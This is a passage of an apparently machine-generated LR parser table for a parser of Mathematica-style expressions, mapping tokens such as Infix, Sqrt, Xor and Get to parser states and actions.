155,160,171,177,178,179,180,186,195,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,317,318,319,320,321,322,324,325,326,329,331,332,335,343,344,345,346,347,348,349,351,352,353,354,355,356,],[-123,-126,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,-177,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,323,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,339,340,-192,341,342,-183,-195,-176,-151,-168,-154,-150,-108,-193,-164,-166,-135,-149,-129,-128,-160,-188,-190,-186,-184,-110,]),'NotExists':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[15,15,-123,15,15,-126,15,15,15,-125,-122,-124,15,15,15,-119,-156,15,15,-121,15,15,15,15,15,15,15,-120,-118,15,-142,-141,15,-140,15,15,-179,15,15,15,15,15,-79,15,15,-155,-156,-127,15,-143,15,-23,15,15,15,15,-16,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,-68,15,15,15,15,15,15,15,15,15,-137,15,15,15,15,-69,15,15,15,15,15,15,15,15,-106,15,15,15,15,15,15,15,15,15,15,-154,15,15,15,15,-37,15,15,15,15,15,15,15,15,-17,15,-39,15,15,15,15,15,15,-148,15,15,15,-45,-18,15,15,15,15,-36,15,15,15,15,-89,15,15,15,15,15,15,15,15,15,-169,15,15,15,15,15,-107,-22,-132,15,15,15,15,-133,15,-180,15,15,15,15,15,-194,15,-175,15,-154,-152,-105,-65,-29,-92,15,15,-99,-31,15,15,-48,-52,-59,-43,15,-139,-64,-26,-93,15,-8,-13,15,-90,15,15,-66,15,15,15,-51,15,-6,15,-91,-78,-172,15,15,15,15,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,15,-56,-41,15,-21,15,-97,-96,15,-153,-156,-10,-24,-80,-9,-40,-54,15,-32,15,15,15,-19,15,15,15,-100,15,-145,-61,15,15,-134,15,-20,-42,-50,15,15,-53,-67,-130,-131,-49,-86,15,-12,15,-33,-30,15,-82,-83,15,15,15,15,-109,15,-122,15,-138,-189,-191,-192,-187,-185,-183,15,-195,-176,-151,15,15,-168,15,-154,-150,-108,15,15,15,15,15,15,-193,15,15,-135,-149,-129,-128,15,-188,-190,-186,-184,-110,]),'Infix':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,116,-120,-118,116,116,116,116,116,116,116,116,116,116,-156,-127,116,116,116,116,116,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,116,-45,-18,-36,-89,-169,-107,-22,-132,116,116,-133,-175,116,-154,116,-105,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,-64,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,-172,116,116,116,116,-171,116,116,116,116,116,116,116,116,116,116,116,116,330,116,116,116,116,116,116,-156,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,116,-134,116,116,116,116,116,116,116,116,-130,-131,116,116,116,116,116,116,116,116,116,116,116,116,116,-109,-122,116,116,-176,116,-168,-154,116,-108,116,116,116,-135,116,-129,-128,116,-110,]),'Cup':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,117,-120,-118,-142,-141,117,-140,117,117,-79,117,117,117,-156,-127,117,-143,117,-23,117,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,117,117,-133,-175,117,-154,117,-105,117,117,117,117,117,-99,117,117,117,117,-52,117,117,117,117,-64,-26,117,117,-8,-13,117,117,117,117,117,117,117,117,117,117,-6,117,117,-78,-172,117,117,117,117,-171,117,117,-136,117,-5,-147,-144,117,-146,117,-56,117,117,-21,117,117,-96,117,117,-156,-10,-24,-80,-9,117,117,117,117,117,117,117,-19,117,117,117,-100,117,-145,117,117,117,-134,117,-20,117,117,117,117,-53,-67,-130,-131,117,117,117,117,117,117,117,-82,117,117,117,117,117,-109,-122,117,-138,-176,117,-168,-154,117,-108,117,117,117,-135,117,-129,-128,117,-110,]),'Overscript':([2,5,9,10,11,16,17,21,30,31,33,34,35,36,39,43,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,188,195,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,317,318,319,320,321,322,324,325,326,329,331,332,335,343,344,345,346,347,348,349,351,352,353,354,355,356,],[-123,-126,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,189,-177,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,189,189,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,189,189,189,189,189,-183,189,-176,-151,-168,-154,-150,-108,189,-164,-166,-135,-149,-129,-128,-160,189,189,189,189,-110,]),'DoubleLeftTee':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,118,-120,-118,-142,-141,-157,-140,118,118,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,118,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,118,-133,-175,118,-154,-152,-105,-65,-29,-92,118,118,-99,-31,-47,118,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,118,-66,-63,118,118,-51,118,-6,118,-91,-78,-172,-101,-72,118,118,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,118,-21,-27,-97,-96,118,-153,-156,-10,-24,-80,-9,-40,-54,118,-32,118,118,118,-19,118,118,-3,-100,118,-145,-61,118,118,-134,-102,-20,-42,-50,118,118,-53,-67,-130,-131,-49,-86,-44,-12,118,-33,-30,-82,-83,118,-4,118,118,-109,-122,118,-138,-176,-151,-168,-154,-150,-108,118,118,118,-135,-149,-129,-128,118,-110,]),'number':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[16,16,-123,16,16,-126,16,16,16,-125,-122,-124,16,16,16,-119,16,16,16,-121,16,16,16,16,16,16,16,-120,-118,16,-142,-141,16,-140,16,16,-179,16,16,16,16,16,-79,16,16,16,16,-127,16,-143,16,-23,16,16,16,16,-16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,-68,16,16,16,16,16,16,16,16,16,-137,16,16,16,16,-69,16,16,16,16,16,16,16,16,-106,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,-37,16,16,16,16,16,16,16,16,-17,16,-39,16,16,16,16,16,16,-148,16,16,16,-45,-18,16,16,16,16,-36,16,16,16,16,-89,16,16,16,16,16,16,16,16,16,-169,16,16,16,16,16,-107,-22,-132,16,16,16,16,-133,16,-180,16,16,16,16,16,-194,16,-175,16,16,16,-105,16,16,16,16,16,16,16,16,16,16,-52,16,16,16,16,-64,-26,16,16,16,-13,16,16,16,16,16,16,16,16,16,16,-6,16,16,-78,-172,16,16,16,16,-171,16,16,-136,16,-5,-147,-144,16,-146,16,-56,16,16,16,16,16,-96,16,16,16,-10,-24,16,-9,16,16,16,16,16,16,16,16,16,16,16,-100,16,-145,16,16,16,-134,16,-20,16,16,16,16,-53,-67,-130,-131,16,16,16,16,16,16,16,16,-82,16,16,16,16,16,-109,16,-122,16,-138,-189,-191,-192,-187,-185,-183,16,-195,-176,16,16,16,-168,16,16,16,-108,16,16,16,16,16,16,-193,16,16,-135,16,-129,-128,16,-188,-190,-186,-184,-110,]),'Sqrt':([2,5,8,9,10,11,16,17,21,30,31,33,34,35,36,38,39,40,41,43,46,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,317,318,319,320,321,322,323,324,325,326,329,331,332,335,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[-123,-126,41,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,41,-179,41,41,-177,41,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,-180,41,41,41,41,41,-194,41,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,-189,-191,-192,-187,-185,-183,41,-195,-176,-151,-168,-154,-150,-108,41,41,41,41,-193,-164,-166,-135,-149,-129,-128,-160,-188,-190,-186,-184,-110,]),'VerticalBar':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,119,-120,-118,-142,-141,119,-140,119,119,-79,119,119,-155,-156,-127,119,-143,119,-23,119,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,119,119,-133,-175,119,-154,-152,-105,-65,-29,-92,119,119,-99,-31,119,119,-48,-52,119,-43,119,-139,-64,-26,119,119,-8,-13,119,-90,119,119,-66,119,119,119,-51,119,-6,119,-91,-78,-172,119,119,119,119,-171,-46,-11,-136,-58,-5,-147,-144,119,-146,119,-56,-41,119,-21,119,-97,-96,119,-153,-156,-10,-24,-80,-9,-40,-54,119,-32,119,119,119,-19,119,119,119,-100,119,-145,-61,119,119,-134,119,-20,-42,-50,119,119,-53,-67,-130,-131,-49,119,119,-12,119,-33,119,-82,119,119,119,119,119,-109,-122,119,-138,-176,-151,-168,-154,-150,-108,119,119,119,-135,-149,-129,-128,119,-110,]),'Vee':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,120,-120,-118,-142,-141,120,-140,120,120,-79,120,120,120,-156,-127,120,-143,120,-23,120,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,120,-45,-18,-36,-89,-169,-107,-22,-132,120,120,-133,-175,120,-154,120,-105,120,120,120,120,120,120,120,120,120,120,-52,120,120,120,120,-64,-26,120,120,120,120,120,120,120,120,120,120,120,120,120,120,-6,120,120,-78,-172,120,120,120,120,-171,120,120,-136,120,-5,120,-144,120,120,120,-56,120,120,120,120,120,-96,120,120,-156,-10,-24,120,120,120,120,120,120,120,120,120,120,120,120,120,-100,120,-145,120,120,120,-134,120,-20,120,120,120,120,-53,-67,-130,-131,120,120,120,120,120,120,120,-82,120,120,120,120,120,-109,-122,120,-138,-176,120,-168,-154,120,-108,120,120,120,-135,120,-129,-128,120,-110,]),'Therefore':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,121,-120,-118,-142,-141,-157,-140,121,121,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,121,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,121,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,121,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,121,-66,-63,121,121,-51,-84,-6,121,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,121,-21,-27,-97,-96,121,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,121,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,121,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,121,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,121,121,121,-135,-149,-129,-128,-160,-110,]),'Xor':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,151,-120,-118,-142,-141,-157,-140,151,151,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,151,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,151,-133,-175,151,-154,-152,-105,-65,-29,-92,151,151,-99,-31,151,151,-48,-52,-59,-43,151,-139,-64,-26,-93,151,-8,-13,-55,-90,151,151,-66,151,151,151,-51,151,-6,151,-91,-78,-172,-101,151,151,151,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,151,-56,-41,151,-21,151,-97,-96,151,-153,-156,-10,-24,-80,-9,-40,-54,151,-32,151,151,151,-19,151,151,-3,-100,151,-145,-61,151,151,-134,-102,-20,-42,-50,151,151,-53,-67,-130,-131,-49,-86,151,-12,151,-33,-30,-82,-83,151,-4,151,151,-109,-122,151,-138,-176,-151,-168,-154,-150,-108,151,151,151,-135,-149,-129,-128,151,-110,]),'CircleDot':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,123,-120,-118,123,123,123,123,123,123,-79,123,123,123,-156,-127,123,123,123,-23,123,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,123,-45,-18,-36,-89,-169,-107,-22,-132,123,123,-133,-175,123,-154,123,-105,123,123,123,123,123,123,123,123,123,123,-52,123,123,123,123,-64,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,-78,-172,123,123,123,123,-171,123,123,-136,123,-5,123,123,123,123,123,123,123,123,123,123,123,123,123,123,-156,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,-134,123,123,123,123,123,123,-53,-67,-130,-131,123,123,123,123,123,123,123,-82,123,123,123,123,123,-109,-122,123,-138,-176,123,-168,-154,123,-108,123,123,123,-135,123,-129,-128,123,-110,]),'Diamond':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,124,-120,-118,-142,-141,124,-140,124,124,-79,124,124,124,-156,-127,124,-143,124,-23,124,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,124,-45,-18,-36,-89,-169,-107,-22,-132,124,124,-133,-175,124,-154,124,-105,124,124,124,124,124,124,124,124,124,124,-52,124,124,124,124,-64,-26,124,124,124,124,124,124,124,124,124,124,124,124,124,124,-6,124,124,-78,-172,124,124,124,124,-171,124,124,-136,124,-5,124,-144,124,124,124,-56,124,124,124,124,124,124,124,124,-156,-10,-24,124,124,124,124,124,124,124,124,124,124,124,124,124,124,124,-145,124,124,124,-134,124,-20,124,124,124,124,-53,-67,-130,-131,124,124,124,124,124,124,124,-82,124,124,124,124,124,-109,-122,124,-138,-176,124,-168,-154,124,-108,124,124,124,-135,124,-129,-128,124,-110,]),'Star':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,125,-120,-118,-142,-141,125,-140,125,125,-79,125,125,125,-156,-127,125,-143,125,-23,125,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,125,125,-133,-175,125,-154,125,-105,125,125,125,125,125,125,125,125,125,125,-52,125,125,125,125,-64,-26,125,125,125,-13,125,125,125,125,125,125,125,125,125,125,-6,125,125,-78,-172,125,125,125,125,-171,125,125,-136,125,-5,-147,-144,125,-146,125,-56,125,125,125,125,125,-96,125,125,-156,-10,-24,-80,-9,125,125,125,125,125,125,125,125,125,125,125,-100,125,-145,125,125,125,-134,125,-20,125,125,125,125,-53,-67,-130,-131,125,125,125,125,125,125,125,-82,125,125,125,125,125,-109,-122,125,-138,-176,125,-168,-154,125,-108,125,125,125,-135,125,-129,-128,125,-110,]),'CenterDot':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,126,-120,-118,-142,-141,126,-140,126,126,-79,126,126,126,-156,-127,126,-143,126,-23,126,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,126,-45,-18,-36,-89,-169,-107,-22,-132,126,126,-133,-175,126,-154,126,-105,126,126,126,126,126,126,126,126,126,126,-52,126,126,126,126,-64,-26,126,126,126,-13,126,126,126,126,126,126,126,126,126,126,-6,126,126,-78,-172,126,126,126,126,-171,126,126,-136,126,-5,126,-144,126,126,126,-56,126,126,126,126,126,-96,126,126,-156,-10,-24,126,-9,126,126,126,126,126,126,126,126,126,126,126,-100,126,-145,126,126,126,-134,126,-20,126,126,126,126,-53,-67,-130,-131,126,126,126,126,126,126,126,-82,126,126,126,126,126,-109,-122,126,-138,-176,126,-168,-154,126,-108,126,126,126,-135,126,-129,-128,126,-110,]),'Get':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,